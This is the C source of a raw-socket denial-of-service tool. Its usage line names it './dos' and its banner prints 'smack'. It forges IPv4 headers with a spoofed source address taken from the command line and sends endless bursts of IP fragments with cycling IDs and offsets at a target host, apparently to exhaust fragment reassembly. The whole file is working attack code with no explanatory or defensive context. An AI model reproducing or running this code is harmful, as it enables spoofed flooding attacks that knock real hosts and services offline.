#include #include #include #include #include #include #include #include #include #include #include #include #include #define PKG_BUF 2048 static inline void die_on_error(const char *err_prefix, int ret) { if (ret) { if (errno) perror(err_prefix); abort(); } } static unsigned short csum(unsigned short *ptr, int nbytes) { long sum; unsigned short oddbyte; short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char*) &oddbyte) =* (u_char*) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum = sum + (sum >> 16); answer = (short) ~sum; return(answer); } int main(int argc, char **argv) { unsigned char pkg[PKG_BUF]; struct iphdr *ip = (struct iphdr *) pkg; struct sockaddr_in dest; int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); int r, val = 1; size_t data_size = 896 - sizeof *ip; useconds_t send_rate = 1 * 1000; /* 50ms */ size_t cur_frags, max_frags = 64; uint16_t id, max_bucket = 32; die_on_error("socket", s < 0); r = setsockopt(s, IPPROTO_IP, IP_HDRINCL, &val, sizeof val); die_on_error("setsockopt", r != 0); if (argc != 3) { printf("usage: %s [SOURCE-IP] [DEST-IP]\n", (argc > 0 ? argv[0] : "./dos")); return 1; } printf("smack: %s -> %s\n", argv[1], argv[2]); memset(&dest, 0, sizeof dest); memset(pkg, 0, sizeof pkg); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = data_size - sizeof(struct iphdr); assert(ip->tot_len <= PKG_BUF); ip->id = 0; ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_IP; ip->check = 0; ip->saddr = inet_addr(argv[1]); ip->daddr = inet_addr(argv[2]); ip->check = csum((unsigned short *) pkg, sizeof *ip); dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr(argv[2]); srandom(time(NULL)); cur_frags = 0; while (1) { if (cur_frags % max_frags == 0) { ip->frag_off &= 0xFF1F; id = ip->id; for (uint16_t i = 0; i < max_bucket; ++i) { ip->id = htons(id + i); r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest); die_on_error("sendto", r != ip->tot_len); } ip->id = id; ip->id = (uint16_t) random(); ip->frag_off = 0x0020; printf("ip->id = %u\n", ip->id); } //ip->saddr = (uint32_t) random(); id = ip->id; for (uint16_t i = 0; i < max_bucket; ++i) { ip->id = htons(id + i); r = sendto(s, pkg, ip->tot_len, 0, (struct sockaddr *) &dest, sizeof dest); die_on_error("sendto", r != ip->tot_len); } ip->id = id; usleep(send_rate); printf("%zu: ipd->id = %04X , ip->frag_off = %04X\n", cur_frags, ip->id, ntohs(ip->frag_off)); ip->frag_off += htons(8); cur_frags++; } return 0; }